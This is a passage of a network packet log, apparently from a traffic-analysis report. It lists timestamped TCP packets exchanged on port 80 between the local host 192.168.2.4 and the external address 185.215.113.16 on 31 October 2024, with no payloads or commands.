Oct 31, 2024 04:16:16.934756994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934773922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934786081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934811115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934812069 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934832096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934890985 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934906006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934921026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934935093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934950113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934957981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934968948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934973001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934982061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934988022 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934998035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.935008049 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.935041904 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059262991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059269905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059295893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059319019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059336901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059354067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059369087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059384108 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.059437037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059437037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059437037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059437037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059437037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059487104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.059793949 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060159922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060173988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060194969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060204029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060209990 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060225010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060228109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060240984 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060255051 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060280085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060520887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060534954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060549021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060571909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060590029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060663939 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060686111 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060703993 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060718060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060725927 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060734034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060748100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060750008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060765028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060775042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060781956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060797930 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060797930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060815096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060825109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060831070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060846090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060847998 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060862064 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.060875893 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.060899973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061099052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061137915 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061289072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061305046 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061319113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061328888 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061343908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061352968 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061470032 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061486006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061501980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061507940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061517000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061518908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061534882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061541080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061551094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061551094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061567068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061568975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061590910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061593056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061603069 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061606884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061621904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061635017 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061638117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061655998 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061661005 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061687946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061688900 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061703920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061712980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061722040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061724901 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061737061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061752081 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061753035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061752081 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061769009 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061770916 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061784029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061788082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061800003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061800003 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061816931 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061820030 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061830997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061831951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061850071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061852932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061866999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061877012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061883926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061887026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061898947 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061898947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061914921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061923027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061932087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061934948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061948061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061956882 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061964035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061968088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061980009 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.061990023 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.061999083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062000990 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062020063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062027931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062036991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062052011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062055111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062067032 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062077999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062083006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062098980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062104940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062115908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062119007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062130928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062144041 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062155008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062155962 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062172890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062175989 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062187910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062189102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062203884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062210083 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062221050 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062222004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062241077 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062253952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062616110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062632084 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062648058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062674999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062690973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062796116 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062812090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062825918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062841892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062843084 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062851906 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062856913 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062872887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062879086 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062890053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062903881 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062913895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062918901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062932014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062937975 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062954903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062961102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062971115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.062978983 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.062987089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063003063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063008070 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063010931 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063019037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063025951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063030005 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063034058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063041925 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063059092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063086033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063102961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063157082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063210964 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063337088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063395977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063514948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063539028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063554049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063565016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063569069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063575983 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063585997 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063586950 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063601017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063611984 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063617945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063622952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063633919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063646078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063651085 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063657045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063668013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063678026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063684940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063688993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063699961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063709974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063714027 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063721895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063729048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063740015 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063745022 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063750029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063760042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063767910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063776016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063788891 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063791037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063797951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063807011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063822031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.063831091 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063843012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.063870907 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064141989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064157963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064172029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064187050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064203024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064210892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064217091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064232111 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064237118 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064246893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064255953 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064261913 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064277887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064284086 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064301014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064306021 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064317942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064328909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064335108 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064341068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064352036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064363003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064367056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064371109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064376116 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064390898 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064404011 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064407110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064424038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064439058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064440966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064455032 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064455986 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064474106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064475060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064503908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064526081 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064855099 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064870119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064884901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064897060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064904928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064909935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064915895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064923048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.064928055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064949989 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.064970016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194176912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194338083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194361925 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194370031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194384098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194400072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194415092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194468975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194479942 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194503069 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194529057 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194638968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194653988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194668055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194684982 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194700956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194710970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194798946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194814920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194829941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194842100 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194849014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.194854021 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194866896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.194894075 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195558071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195574045 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195590019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195605040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195605993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195605993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195645094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195646048 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195727110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195746899 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195763111 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195779085 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195785999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195785999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195796013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195801020 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195810080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195812941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195831060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195852041 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195874929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195888996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195903063 CET	80	49849	185.215.113.16	192.168.2.4
